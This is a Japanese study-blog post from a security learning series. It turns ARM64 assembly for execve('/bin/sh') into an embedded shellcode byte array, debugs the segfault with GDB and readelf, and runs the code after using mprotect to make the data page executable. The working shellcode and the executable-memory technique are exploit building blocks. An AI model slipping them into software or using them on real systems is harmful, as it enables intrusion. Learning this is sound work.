土日の勉強ノート

AI、機械学習、最適化、Pythonなどについて、技術調査、技術書の理解した内容、ソフトウェア/ツール作成について書いていきます

機械語でシェルを起動するプログラムを作る(ARM64)

前回 は、C言語とアセンブラでシェルを起動するプログラムを作ってみました。

今回は、アセンブラで作ったプログラムをExploitコードの部品となりそうな C言語からシェルを起動するプログラムを実装してみたいと思います。

それでは、やっていきます。

参考文献

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方とGPUで実行したときの時間を見積もってみる
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(この記事はクリア状況を随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64) ← 今回

前回に引き続き、今回も以下のサイトを参考にさせて頂きます。以下は x86 の記事です。

inaz2.hatenablog.com

以下は、上の記事の ARM32bit版の記事です。

inaz2.hatenablog.com

また、64bitARM(Aarch64)のアセンブラについては、以下のサイトを参考にさせて頂きました。

www.mztn.org

それでは、やっていきます。

実装してデバッグしたアセンブラプログラムを確認する

まず、前回実装したアセンブラのソースコードです。

.global _start             // エントリーポイントをグローバルとして定義

_start:
    ldr x8, binsh          // "/bin/sh" を含む文字列を x8 にセット
    mov x2, xzr            // x2 レジスタを NULL に設定
    mov x0, sp             // x0 に sp の値をセット (第1引数)
    stp x8, x2, [sp], #-16 // x8("/bin/sh") と x2(NULL) の値をスタックにプッシュ (ポストインデックス) ※x2 は不要かも
    
    mov x1, sp             // x1 に sp の値をセット (第2引数)
    stp x0, x2, [sp, #0]   // x0("/bin/sh" のアドレス) と x2(NULL) の値をスタックにプッシュ (sp は動かない)
    
    mov x8, #221           // execve システムコール番号を x8 にセット (221はexecveのシステムコール番号)
    svc #0                 // システムコールの呼び出し

binsh:
    .asciz "/bin/sh"       // シェルのパスをNULL終端文字列としてメモリに定義

次は、アセンブルと逆アセンブラ表示です。今回は、マップファイルも出力しておきます。

$ gcc -g -Wl,-Map=execve.map -o execve.out -nostdlib execve.s

$ objdump -d execve.out

execve.out:     file format elf64-littleaarch64

Disassembly of section .text:

0000000000000244 <_start>:
 244:  58000108   ldr  x8, 264 <binsh>
 248:  aa1f03e2   mov  x2, xzr
 24c:  910003e0   mov  x0, sp
 250:  a8bf0be8   stp  x8, x2, [sp], #-16
 254:  910003e1   mov  x1, sp
 258:  a9000be0   stp  x0, x2, [sp]
 25c:  d2801ba8   mov  x8, #0xdd                    // #221
 260:  d4000001   svc  #0x0

0000000000000264 <binsh>:
 264:  6e69622f   .word  0x6e69622f
 268:  0068732f   .word  0x0068732f

出力されたマップファイルを確認します。以下は、抜粋です。確かに、244番地からテキストセクションが始まっています。0x28(40)byte ということなので、記述したアセンブラは全て入っているようです。

.text           0x0000000000000244       0x28
 *(.text.unlikely .text.*_unlikely .text.unlikely.*)
 *(.text.exit .text.exit.*)
 *(.text.startup .text.startup.*)
 *(.text.hot .text.hot.*)
 *(SORT_BY_NAME(.text.sorted.*))
 *(.text .stub .text.* .gnu.linkonce.t.*)
 .text          0x0000000000000244       0x28 /tmp/ccmxWWSK.o
                0x0000000000000244                _start

readelf で、ELFヘッダの内容を確認します。エントリポイントは、0x244 になっています。

$ readelf -h execve.out
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Position-Independent Executable file)
  Machine:                           AArch64
  Version:                           0x1
  Entry point address:               0x244
  Start of program headers:          64 (bytes into file)
  Start of section headers:          66864 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         7
  Size of section headers:           64 (bytes)
  Number of section headers:         19
  Section header string table index: 18

続いて、プログラムヘッダです。64bitプログラムになって、アドレスが長すぎて見づらいです(笑)。

$ readelf -l execve.out

Elf file type is DYN (Position-Independent Executable file)
Entry point 0x244
There are 7 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr           FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040 0x0000000000000188 0x0000000000000188  R      0x8
  INTERP         0x00000000000001c8 0x00000000000001c8 0x00000000000001c8 0x000000000000001b 0x000000000000001b  R      0x1      [Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000 0x000000000000026c 0x000000000000026c  R E    0x10000
  LOAD           0x000000000000ff10 0x000000000001ff10 0x000000000001ff10 0x00000000000000f0 0x00000000000000f0  RW     0x10000
  DYNAMIC        0x000000000000ff10 0x000000000001ff10 0x000000000001ff10 0x00000000000000d0 0x00000000000000d0  RW     0x8
  NOTE           0x00000000000001e4 0x00000000000001e4 0x00000000000001e4 0x0000000000000024 0x0000000000000024  R      0x4
  GNU_RELRO      0x000000000000ff10 0x000000000001ff10 0x000000000001ff10 0x00000000000000f0 0x00000000000000f0  R      0x1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.gnu.build-id .gnu.hash .dynsym .dynstr .text
   03     .dynamic .got .got.plt
   04     .dynamic
   05     .note.gnu.build-id
   06     .dynamic .got .got.plt

セクションヘッダです。

$ readelf -S execve.out
There are 19 section headers, starting at offset 0x10530:

Section Headers:
  [Nr] Name              Type             Address           Offset    Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000  0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         00000000000001c8  000001c8  000000000000001b  0000000000000000   A       0     0     1
  [ 2] .note.gnu.bu[...] NOTE             00000000000001e4  000001e4  0000000000000024  0000000000000000   A       0     0     4
  [ 3] .gnu.hash         GNU_HASH         0000000000000208  00000208  000000000000001c  0000000000000000   A       4     0     8
  [ 4] .dynsym           DYNSYM           0000000000000228  00000228  0000000000000018  0000000000000018   A       5     1     8
  [ 5] .dynstr           STRTAB           0000000000000240  00000240  0000000000000001  0000000000000000   A       0     0     1
  [ 6] .text             PROGBITS         0000000000000244  00000244  0000000000000028  0000000000000000  AX       0     0     4
  [ 7] .dynamic          DYNAMIC          000000000001ff10  0000ff10  00000000000000d0  0000000000000010  WA       5     0     8
  [ 8] .got              PROGBITS         000000000001ffe0  0000ffe0  0000000000000008  0000000000000008  WA       0     0     8
  [ 9] .got.plt          PROGBITS         000000000001ffe8  0000ffe8  0000000000000018  0000000000000008  WA       0     0     8
  [10] .debug_aranges    PROGBITS         0000000000000000  00010000  0000000000000030  0000000000000000           0     0     16
  [11] .debug_info       PROGBITS         0000000000000000  00010030  0000000000000028  0000000000000000           0     0     1
  [12] .debug_abbrev     PROGBITS         0000000000000000  00010058  0000000000000014  0000000000000000           0     0     1
  [13] .debug_line       PROGBITS         0000000000000000  0001006c  000000000000004e  0000000000000000           0     0     1
  [14] .debug_str        PROGBITS         0000000000000000  000100ba  0000000000000035  0000000000000001  MS       0     0     1
  [15] .debug_line_str   PROGBITS         0000000000000000  000100ef  0000000000000029  0000000000000001  MS       0     0     1
  [16] .symtab           SYMTAB           0000000000000000  00010118  00000000000002e8  0000000000000018          17    23     8
  [17] .strtab           STRTAB           0000000000000000  00010400  0000000000000071  0000000000000000           0     0     1
  [18] .shstrtab         STRTAB           0000000000000000  00010471  00000000000000bd  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), p (processor specific)

前回は、このプログラムを GDB を使って動作確認しました。

メモリに配置できるように機械語で埋め込む

参考サイトでは、この機械語を Linux のコマンドを使って加工しています。ちょっと難しかったので、ここでは手動で並べます(笑)。

先ほどの逆アセンブラのは、4byteずつ、10行並んでいました。この4byteは、リトルエンディアンなので、バイト単位でひっくり返します。それを連結しました。以下のようになりました。

main関数の1行は、shellcode を実行しています。shellcode は配列の先頭アドレスなので、これを関数だと思って見ると、関数の先頭アドレスとも言えます。この1行は関数ポインタを実行しているコードということになります。

関数ポインタのキャストは見にくいですが、void(*) が関数の戻り値の型(void)と関数ポインタから関数にするためのアスタリスクです。次の () は引数です。つまり、引数無し、戻り値無しの関数へのキャストです。先頭のアスタリスクは、なぜ付いてるのか分かりません。このアスタリスクは無くてもコンパイルも通りますし、実行についても変化はありません。たぶん、いらないんじゃないかと思っています。

char shellcode[] = "\x08\x01\x00\x58\xe2\x03\x1f\xaa\xe0\x03\x00\x91\xe8\x0b\xbf\xa8\xe1\x03\x00\x91\xe0\x0b\x00\xa9\xa8\x1b\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00";

int main()
{
    ( *(void (*)())shellcode )();
}

これをコンパイルして、実行してみます。Segmentation Fault が出ました。

$ gcc -g -Wl,-Map=execve_str.map -static -o execve_str.out execve_str.c

$ ./execve_str.out
Segmentation fault

機械語で埋め込んだプログラムをGDBで確認する

GDB で確認します。長いので、いくつか省略します。0x490000 に 0x50 を加えたアドレスに分岐するようです。

$ gdb execve_str.out
Reading symbols from execve_str.out...
(gdb) start
Temporary breakpoint 1 at 0x4006dc: file execve_str.c, line 7.
Starting program: /home/daisuke/svn/experiment/c/execve_str.out

Temporary breakpoint 1, main () at execve_str.c:7
7           (*(void (*)())shellcode)();
(gdb) disassemble
Dump of assembler code for function main:
   0x00000000004006d4 <+0>:     stp     x29, x30, [sp, #-16]!
   0x00000000004006d8 <+4>:     mov     x29, sp
=> 0x00000000004006dc <+8>:     adrp    x0, 0x490000
   0x00000000004006e0 <+12>:    add     x0, x0, #0x50
   0x00000000004006e4 <+16>:    blr     x0
   0x00000000004006e8 <+20>:    mov     w0, #0x0                        // #0
   0x00000000004006ec <+24>:    ldp     x29, x30, [sp], #16
   0x00000000004006f0 <+28>:    ret
End of assembler dump.

分岐した後です。実装した通りのコードが並んでいます。どこで落ちるのかと言うと、最初の ldr命令を実行したところで落ちます。上は 40万番地付近でしたが、ここからは、49万番地となっています。

(gdb) disassemble
Dump of assembler code for function shellcode:
=> 0x0000000000490050 <+0>:     ldr     x8, 0x490070 <shellcode+32>
   0x0000000000490054 <+4>:     mov     x2, xzr
   0x0000000000490058 <+8>:     mov     x0, sp
   0x000000000049005c <+12>:    stp     x8, x2, [sp], #-16
   0x0000000000490060 <+16>:    mov     x1, sp
   0x0000000000490064 <+20>:    stp     x0, x2, [sp]
   0x0000000000490068 <+24>:    mov     x8, #0xdd                       // #221
   0x000000000049006c <+28>:    svc     #0x0
   0x0000000000490070 <+32>:    rsubhn2 v15.8h, v17.4s, v9.4s
   0x0000000000490074 <+36>:    .inst   0x0068732f ; undefined
   0x0000000000490078 <+40>:    udf     #0
End of assembler dump.

マップファイルを見てみます。まず、分岐前の 40万番地付近です。普通の textセクションです。

 *(.text.startup .text.startup.*)
 *fill*         0x0000000000400524        0xc 1f2003d5
 .text.startup  0x0000000000400530       0x24 /usr/lib/gcc/aarch64-linux-gnu/12/libgcc.a(lse-init.o)
 *(.text.hot .text.hot.*)
 *(SORT_BY_NAME(.text.sorted.*))
 *(.text .stub .text.* .gnu.linkonce.t.*)
 *fill*         0x0000000000400554       0x2c 1f2003d5
 .text          0x0000000000400580       0x44 /usr/lib/gcc/aarch64-linux-gnu/12/../../../aarch64-linux-gnu/crt1.o
                0x0000000000400580                _start
                0x00000000004005c0                _dl_relocate_static_pie
 .text          0x00000000004005c4       0x14 /usr/lib/gcc/aarch64-linux-gnu/12/../../../aarch64-linux-gnu/crti.o
 *fill*         0x00000000004005d8        0x8 1f2003d5
 .text          0x00000000004005e0       0xf4 /usr/lib/gcc/aarch64-linux-gnu/12/crtbeginT.o
 .text          0x00000000004006d4       0x20 /tmp/ccG8mGtX.o
                0x00000000004006d4                main
 *fill*         0x00000000004006f4        0xc 1f2003d5
 .text          0x0000000000400700      0x42c /usr/lib/gcc/aarch64-linux-gnu/12/../../../aarch64-linux-gnu/libc.a(libc-start.o)
                0x00000000004007e4                __libc_start_main_impl
                0x00000000004007e4                __libc_start_main
 *fill*         0x0000000000400b2c        0x4 1f2003d5

続いて、分岐後の機械語を埋め込んだ方を見てみます。dataセクションになっていました。ここは実行可能なところではないんだと思います。

.data           0x0000000000490040     0x1948
                [!provide]                        PROVIDE (__data_start = .)
 *(.data .data.* .gnu.linkonce.d.*)
 .data          0x0000000000490040        0x4 /usr/lib/gcc/aarch64-linux-gnu/12/../../../aarch64-linux-gnu/crt1.o
                0x0000000000490040                data_start
                0x0000000000490040                __data_start
 .data          0x0000000000490044        0x0 /usr/lib/gcc/aarch64-linux-gnu/12/../../../aarch64-linux-gnu/crti.o
 *fill*         0x0000000000490044        0x4 
 .data          0x0000000000490048        0x8 /usr/lib/gcc/aarch64-linux-gnu/12/crtbeginT.o
                0x0000000000490048                __dso_handle
 .data          0x0000000000490050       0x29 /tmp/ccG8mGtX.o
                0x0000000000490050                shellcode

セクションヘッダを見てみます。textセクションは X が付いてるので、実行可能な領域です。一方、dataセクションは X が付いていません。これが原因だと思われます。

$ readelf -S execve_str.out
There are 35 section headers, starting at offset 0xab428:

Section Headers:
  [Nr] Name              Type             Address           Offset    Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000  0000000000000000  0000000000000000           0     0     0
  [ 1] .note.gnu.bu[...] NOTE             0000000000400190  00000190  0000000000000024  0000000000000000   A       0     0     4
  [ 2] .note.ABI-tag     NOTE             00000000004001b4  000001b4  0000000000000020  0000000000000000   A       0     0     4
  [ 3] .rela.plt         RELA             00000000004001d8  000001d8  00000000000000a8  0000000000000018  AI      32    18     8
  [ 4] .init             PROGBITS         0000000000400280  00000280  0000000000000018  0000000000000000  AX       0     0     4
  [ 5] .plt              PROGBITS         00000000004002a0  000002a0  0000000000000070  0000000000000000  AX       0     0     16
  [ 6] .text             PROGBITS         0000000000400340  00000340  0000000000056394  0000000000000000  AX       0     0     64
  [ 7] __libc_freeres_fn PROGBITS         00000000004566e0  000566e0  0000000000000b04  0000000000000000  AX       0     0     16
  [ 8] .fini             PROGBITS         00000000004571e4  000571e4  0000000000000014  0000000000000000  AX       0     0     4
  [ 9] .rodata           PROGBITS         0000000000457200  00057200  000000000001a320  0000000000000000   A       0     0     16
  [10] .eh_frame         PROGBITS         0000000000471520  00071520  000000000000ba84  0000000000000000   A       0     0     8
  [11] .gcc_except_table PROGBITS         000000000047cfa4  0007cfa4  00000000000000dc  0000000000000000   A       0     0     1
  [12] .tdata            PROGBITS         000000000048c710  0008c710  0000000000000018  0000000000000000 WAT       0     0     8
  [13] .tbss             NOBITS           000000000048c728  0008c728  0000000000000048  0000000000000000 WAT       0     0     8
  [14] .init_array       INIT_ARRAY       000000000048c728  0008c728  0000000000000010  0000000000000008  WA       0     0     8
  [15] .fini_array       FINI_ARRAY       000000000048c738  0008c738  0000000000000008  0000000000000008  WA       0     0     8
  [16] .data.rel.ro      PROGBITS         000000000048c740  0008c740  0000000000003498  0000000000000000  WA       0     0     16
  [17] .got              PROGBITS         000000000048fbd8  0008fbd8  0000000000000408  0000000000000008  WA       0     0     8
  [18] .got.plt          PROGBITS         000000000048ffe8  0008ffe8  0000000000000050  0000000000000008  WA       0     0     8
  [19] .data             PROGBITS         0000000000490040  00090040  0000000000001948  0000000000000000  WA       0     0     16
  [20] __libc_subfreeres PROGBITS         0000000000491988  00091988  0000000000000048  0000000000000000 WAR       0     0     8
  [21] __libc_IO_vtables PROGBITS         00000000004919d0  000919d0  0000000000000690  0000000000000000  WA       0     0     8
  [22] __libc_atexit     PROGBITS         0000000000492060  00092060  0000000000000008  0000000000000000 WAR       0     0     8
  [23] .bss              NOBITS           0000000000492070  00092068  00000000000054f8  0000000000000000  WA       0     0     16
  [24] __libc_freer[...] NOBITS           0000000000497568  00092068  0000000000000020  0000000000000000  WA       0     0     8
  [25] .comment          PROGBITS         0000000000000000  00092068  000000000000001f  0000000000000001  MS       0     0     1
  [26] .debug_aranges    PROGBITS         0000000000000000  00092087  0000000000000030  0000000000000000           0     0     1
  [27] .debug_info       PROGBITS         0000000000000000  000920b7  0000000000000088  0000000000000000           0     0     1
  [28] .debug_abbrev     PROGBITS         0000000000000000  0009213f  0000000000000068  0000000000000000           0     0     1
  [29] .debug_line       PROGBITS         0000000000000000  000921a7  000000000000004f  0000000000000000           0     0     1
  [30] .debug_str        PROGBITS         0000000000000000  000921f6  0000000000000070  0000000000000001  MS       0     0     1
  [31] .debug_line_str   PROGBITS         0000000000000000  00092266  000000000000002d  0000000000000001  MS       0     0     1
  [32] .symtab           SYMTAB           0000000000000000  00092298  0000000000012318  0000000000000018          33   1953     8
  [33] .strtab           STRTAB           0000000000000000  000a45b0  0000000000006cfe  0000000000000000           0     0     1
  [34] .shstrtab         STRTAB           0000000000000000  000ab2ae  0000000000000178  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  R (retain), D (mbind), p (processor specific)

機械語を埋め込んだプログラムが実行できるように対策する

参考サイトでは、スタックに配置されたので、スタック領域を実行可能にする対策を行っていました。こちらは、dataセクションに配置されているので、別の対策が必要です。

いろいろ調べたところ、C言語の mprotect という関数があるようです。メモリのアドレスとサイズを指定して、Read/Write/Exec の属性を変更することが出来るようです。プロトタイプは、int mprotect(void *addr, size_t len, int prot); です。

注意点としては、第1引数の addr は、ページ境界でなければならないということです。

以下のようになりました。ページ境界とするため、ページサイズを表示しています。その後、

#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>  // mprotect関数を使用するために必要

char shellcode[] = "\x08\x01\x00\x58\xe2\x03\x1f\xaa\xe0\x03\x00\x91\xe8\x0b\xbf\xa8\xe1\x03\x00\x91\xe0\x0b\x00\xa9\xa8\x1b\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00";

int main()
{
    // メモリページサイズを取得
    long page_size = sysconf( _SC_PAGESIZE );
    
    printf( "page_size=0x%x\n", page_size );
    
    if( mprotect((void *)0x490000, 0x1940, PROT_READ | PROT_WRITE | PROT_EXEC) == -1 ){
        perror( "mprotect failed" );
        return 1;
    }
    
    ( (void (*)())shellcode )();
}

コンパイルして、実行してみます。シェルの起動に成功しました!

$ gcc -g -Wl,-Map=execve_str_fixed.map -static -o execve_str_fixed.out execve_str_fixed.c

$ ./execve_str_fixed.out
page_size=0x1000
$ ls
execve.map          execve_chatgpt2.map        execve_objdump.s            execve_x86.txt
execve.out          execve_chatgpt2.out        execve_str.c                k_and_r_org.c
execve.s            execve_chatgpt2.s          execve_str.map              main_execve.s
execve_c.c          execve_chatgpt2_objdump.s  execve_str.out              memorymap.c
execve_c.out        execve_chatgpt_fixed.map   execve_str_fixed.c          memorymap.out
execve_chatgpt.map  execve_chatgpt_fixed.out   execve_str_fixed.map
execve_chatgpt.out  execve_chatgpt_fixed.s     execve_str_fixed.out
execve_chatgpt.s    execve_chatgpt_objdump.s   execve_str_fixed_objdump.s
$ exit

今回はここまでです。

おわりに

今回は、参考サイトを見ながら、execve を使ったシェルを起動するプログラムを、機械語を埋め込んだプログラムに変更して動作を確認しました。

結構時間がかかりましたが、低レイヤのプログラムについて、いろいろ周辺の知識が深まりました。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。